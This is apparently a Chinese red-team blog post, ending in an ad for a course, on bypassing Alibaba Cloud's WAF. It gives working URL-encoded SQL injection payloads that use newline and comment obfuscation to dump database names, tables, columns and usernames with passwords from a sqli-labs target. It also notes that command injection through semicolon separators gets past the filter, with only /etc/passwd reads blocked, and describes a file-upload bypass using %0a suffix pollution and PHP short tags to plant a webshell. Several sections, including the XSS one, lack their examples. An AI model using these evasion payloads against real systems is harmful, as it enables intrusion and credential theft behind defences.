护网攻防——实例剖析阿里云waf的绕过案例

发布于2023年07月20日浏览:918次

在实际的红蓝对抗活动中,往往很多靶标站点会上云waf产品进行安全防护,云waf产品的部署方式也有很多种形式 例如cname解析、反向代理等等。

有了waf的站点对我们进行攻击来说阻碍非常大,可能会加黑名单、做直接的流量拦截,所以掌握绕waf手段也是作为红队人员必备的技能之一。以及在面试中的加分项。

SQL注入FUZZ绕过

当输入and 1=1拦截,waf处于生效状态

首先进行逻辑符与部分sql注入关键字fuzz判断

and 1=1 拦截

and -1=-1 拦截

and 不拦截

xor 1 异常

xor  0 正常

%26 1=2 异常

%26 1=1 正常

%26 hex(1) 正常

%26 hex(0) 异常

and hex() 不拦截

order by 不拦截

order by 1 拦截

group by 1 不拦截

完整SQL注入攻击语法如下,可以用%0A%20—进行绕过,加以一些关键词。

sql攻击语法

http://xxxx.yun.com:8080/Tkitn/sqli-labs-master/Less-1/index.php?id=-1%27%20UNION

%0A%20--%20%20%20%20%99%20%0A%0A%0ASELECT%201,2,concat%23%0a(schema_name)

%20from%20%20/*like%22%0d%0a%20%2d%2d%20%0d%22*/%20%0d%0a%20INFORMATION_

SCHEMA%0d%0a.schemata%20limit%204,1--+

#获取所有数据库名称

Less-1/?id=-1%27%20UNION%0A%20--%20%20%20%20%99%20%0A%0A%0ASELECT%201,2,

concat(table_name)%20from%20%20/*like%22%0d%0a%20%2d%2d%20%0d%22*/%20%0d

%0a%20INFORMATION_SCHEMA%0d%0a.tables%20where%20table_schema=database()%20

limit%201,1--+ 获取当前数据库表名称

?id=-1%27%20UNION%0A%20--%20%20%20%20%99%20%0A%0A%0ASELECT%201,2,

concat(column_name)%20from%20%20/*like%22%0d%0a%20%2d%2d%20%0d%22*/%

20%0d%0a%20INFORMATION_SCHEMA%0d%0a.columns%20where%20table_name='users'

%20limit%200,1--+     #获取users表所有字段

?id=-1%27%20UNION%0A%20--%20%20%20%20%99%20%0A%0A%0ASELECT%201,2,

concat(username,0x7e,password)%20from%20users%20limit%202,1--+    #获取数据

通用用例列表:

XSS跨站脚本FUZZ绕过

普通XSS语句直接被拦截,waf已生效

不拦截

通用用例汇总:

远程命令执行

阿里云waf未对远程命令执行漏洞流量进行严格的过滤

例如以下的一个很多网关、运维主机后台的ping功能

直接可以rce、执行ls命令

Cat 读取文件仅对/etc/passwd等等配置文件进行规则匹配限制,建议ai正则匹配命令后的传参。

经过测试,结果如下

未过滤管

道符; 可同时执行两条命令 例如ls whoami等等

未过滤空格,可执行带空格的复杂命令

限制了读取/etc/passwd,但未对其余文件做限制

通用用例汇总

文件上传绕过

上传后缀为php文件,直接会被waf拦截

上传正常木马内容会被ban如下

开始尝试绕过

后缀可直接%0a污染绕过

文件内容可短标签直接绕过

xxxx:8080/Tkitn/upload-labs-master/upload-lab-lab/11.php

访问得到phpinfo()页面

修改上传内容为命令执行

访问得到成功执行结果

通用用例汇总

护网实战课程

立即扫码报名

分享 17

您已经赞过了!